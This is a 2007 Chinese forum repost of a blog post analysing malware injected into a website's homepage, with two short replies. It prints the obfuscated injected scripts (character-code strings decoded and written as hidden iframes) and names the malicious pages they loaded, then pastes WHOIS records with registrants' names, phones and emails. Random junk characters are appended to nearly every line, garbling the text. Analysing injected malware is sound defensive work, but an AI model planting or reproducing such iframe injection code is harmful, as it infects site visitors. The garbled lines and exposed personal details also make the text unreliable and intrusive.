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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, * t6 XU  
ML'4 2z Y  
http://www.areway.cn/?p=175 jIv%?8+%  
 *Dtwr  
#P.jlpZk  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 5JW+&XA  
          `*cT79  
<script>t=’60,105,102,114,97,109,101, CB<1]Z  
32,115,114,99,61,104,116,116,112,58,47,47, E{kh)-  
102,114,101,101,46,117,45,117,117,117,46,99, AWHB^}!}  
110,47,101,114,114,111,114,46,104,116,109, e:hkWcV  
32,119,105,100,116,104,61,49,48,48,32,104, <MZ$baK  
101,105,103,104,116,61,48,62,60,47,105,102, &dF$:$'s  
114,97,109,101,62′; Rn~FCj,-  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> vZj^&/F$=g  
                                                                                                  oEbgyT gB  
<script>t=’60,105,102,114,97,109,101,32,115, |Ak>kQJ(1z  
114,99,61,104,116,116,112,58,47,47,102,114, eZWN9#p2  
101,101,46,117,45,117,117,117,46,99,110,47, M[$(Pu  
101,114,114,111,114,46,104,116,109,32,119, Qna ^Ry?6)  
105,100,116,104,61,49,48,48,32,104,101,105, !-b4@=f:  
103,104,116,61,48,62,60,47,105,102,114,97, ,cPNZ-%  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); rLs)*A!  
document.write(t);</script> Y^m2ealC  
                                                                                                  +N5#EpW  
<html xmlns=” 2ME"=! &5  
http://www.w3.org/1999/xhtml 0JQy-hpF  
“> :_JZn`Cab  
<head> IG0$OtG  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 2|@@xF  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> fI>>w)5  
<title>首页 - 爱生活家庭网 ?#!Hm`\.  
                                                                                                                                                    kKVd4B[#*  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ?Y+xuY/t  
转换字符串后的大概内容是(谁点击后果自付): ot]eaad  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… {[G2{ijRz  
                                                                                                                                  ]vJZ v"ACn  
查询玉米u-uuu.cn的详细信息: O&l(`*P  
Domain Name: u-uuu.cn *')BP;|V`  
ROID: 20070901s10001s64972306-cn 5QB] 2c^  
Domain Status: ok vzJ69%E_  
Registrant Organization: 王雷 .w/#S-at  
Registrant Name: 王雷 .Gq.st%  
Administrative Email: czlovexs@126.com Os^sOOSY  
Sponsoring Registrar: 北京万网志成科技有限公司 vzK*1R5  
Name Server:ns.yovole.com |7]7~ 6l  
Name Server:ns1.yovole.com Ou</{l/  
Registration Date: 2007-09-01 17:54 ' Bb]< L`  
Expiration Date: 2008-09-01 17:54 Epj  
最后PING了一下地址 都没有什么…. J01w\#62pQ  
                                                                                                7)$U>|=  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ";}Lf1M9  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> Vd3'dq8/?  
<script language=”javascript” src=” l%\3'N]  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script w]GoeIg({  
> Dww]D|M  
这个玉米应该有可能是木马作者的: r \H+=2E'  
foafau.info的详细信息: H=] )o2 1  
Access to INFO WHOIS information is provided to assist persons in !R;P"%PHV  
determining the contents of a domain name registration record in the '#$Y :/  
Afilias registry database. The data in this record is provided by C\Q3vG  
Afilias Limited for informational purposes only, and Afilias does not jcHs!   
guarantee its accuracy.  This service is intended only for query-based u':-DgK  
access. You agree that you will use this data only for lawful purposes <HM\ZDo@P  
and that, under no circumstances will you use this data to: (a) allow, +jYO?uaT  
enable, or otherwise support the transmission by e-mail, telephone, or yjs5=\@  
facsimile of mass unsolicited, commercial advertising or solicitations J"QXu M  
to entities other than the data recipient’s own existing customers; or _H}y7  
(b) enable high volume, automated, electronic processes that send %])-+T  
queries or data to the systems of Registry Operator, a Registrar, or y[[f?rxz>  
Afilias except as reasonably necessary to register domain names or 'EU{%\qM  
modify existing registrations. All rights reserved. Afilias reserves j)ZvlRi,  
the right to modify these terms at any time. By submitting this query, CN8GeZ-G  
you agree to abide by this policy. ^@ s!"c  
Domain ID:D22418703-LRMS :J]S+tQ)  
Domain Name:FOAFAU.INFO WsRG>w3"  
Created On:20-Nov-2007 16:05:42 UTC UgDai?b1  
Last Updated On:20-Nov-2007 16:05:44 UTC -q' np0H  
Expiration Date:20-Nov-2008 16:05:42 UTC jUtrFl  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 16/+ O$#y  
Status:CLIENT DELETE PROHIBITED <_@ K4zV  
Status:CLIENT RENEW PROHIBITED 6} "?eW  
Status:CLIENT TRANSFER PROHIBITED KK4>8zGR  
Status:CLIENT UPDATE PROHIBITED *6 -;iT8  
Status:TRANSFER PROHIBITED 6la# 0U23  
Registrant ID:GODA-040110615 ?xh_qy;  
Registrant Name:liu hong ,6Sa  
Registrant Organization: ^_6%dKLK  
Registrant Street1:beijing ##d\|r  
Registrant Street2: W7.O(s,32  
Registrant Street3: 9UTWq7KJ  
Registrant City:beijing [0.>:wT  
Registrant State/Province: W"Hjn/xSS  
Registrant Postal Code:100000 ^Dhj<_  
Registrant Country:CN Ntr5Q IPd  
Registrant Phone:+86.860108888777 X<@ytHBv  
Registrant Phone Ext.: 6 GX'&z  
Registrant FAX: Ag}V>i'  
Registrant FAX Ext.: qd{o64;|  
Registrant Email:bbbshiji@163.com pcXY6[#N  
Admin ID:GODA-240110615 HX\@Qws  
Admin Name:liu hong ;wND?:  
Admin Organization: >"?HbR9  
Admin Street1:beijing $_ub.g|  
Admin Street2: '7o'u]  
Admin Street3: #@H{Ypn`  
Admin City:beijing '&Ox,i]t  
Admin State/Province: z"o;|T:  
Admin Postal Code:100000 b7R#tT  
Admin Country:CN NHA 2 i  
Admin Phone:+86.860108888777 Gir_.yc/  
Admin Phone Ext.: 9\3%5B7  
Admin FAX: #b\&Md|;  
Admin FAX Ext.: xP*9UXZ4P  
Admin Email:bbbshiji@163.com wpu]{~Y  
Billing ID:GODA-340110615 2!>phE  
Billing Name:liu hong &:=   
Billing Organization: Gp9 >R~$  
Billing Street1:beijing {YZ)IaqZ  
Billing Street2: C.L5\"%  
Billing Street3: }hyK/QUCoN  
Billing City:beijing ac>}$Uw)  
Billing State/Province: b0X*+q   
Billing Postal Code:100000 y2>v'%]2  
Billing Country:CN T~8` {^  
Billing Phone:+86.860108888777 AbUU#C7  
Billing Phone Ext.: 8OH<ppi  
Billing FAX: ASY uZ  
Billing FAX Ext.: 6CO>Tg:%  
Billing Email:bbbshiji@163.com KIn^,d0H  
Tech ID:GODA-140110615 y$s}-O]/-  
Tech Name:liu hong L`FsK64@  
Tech Organization: ^!k^=ST1J  
Tech Street1:beijing S#0y\  
Tech Street2: Y>t*L#i  
Tech Street3: }D dg  
Tech City:beijing K4SR`Q  
Tech State/Province: nkHr(tF 7  
Tech Postal Code:100000 Iu|G*~\  
Tech Country:CN a<tUpI$  
Tech Phone:+86.860108888777 asP>(Li  
Tech Phone Ext.: I@cKiB  
Tech FAX: E#Ynn6  
Tech FAX Ext.: i_g="^  
Tech Email:bbbshiji@163.com 9 U1)sPH;  
Name Server:NS27.DOMAINCONTROL.COM +A W6 >yV`  
Name Server:NS28.DOMAINCONTROL.COM a$#,'UB  
Name Server: OQ#gQ6;?0  
Name Server: ~] Mq'  
Name Server: .Y'kDuUu  
Name Server: B;4hI?  
Name Server: -qfd)A6]  
Name Server: #@BM1BpQ  
Name Server: I5'^tBf[{  
Name Server: Xn.zN>mB  
Name Server: 9Q=g]int u  
Name Server: OTtSMO  
Name Server: H(Mlf  
                                                                                                          iJ42` 51  
接着下载每个文件里面的代码: tnqW!F~  
一步一步看.. /r@P\_  
H:U1#bQQ:  
;G!X?(%+  
meR%);\  
Bx E1Ky8@A  
aFo%B; 8m  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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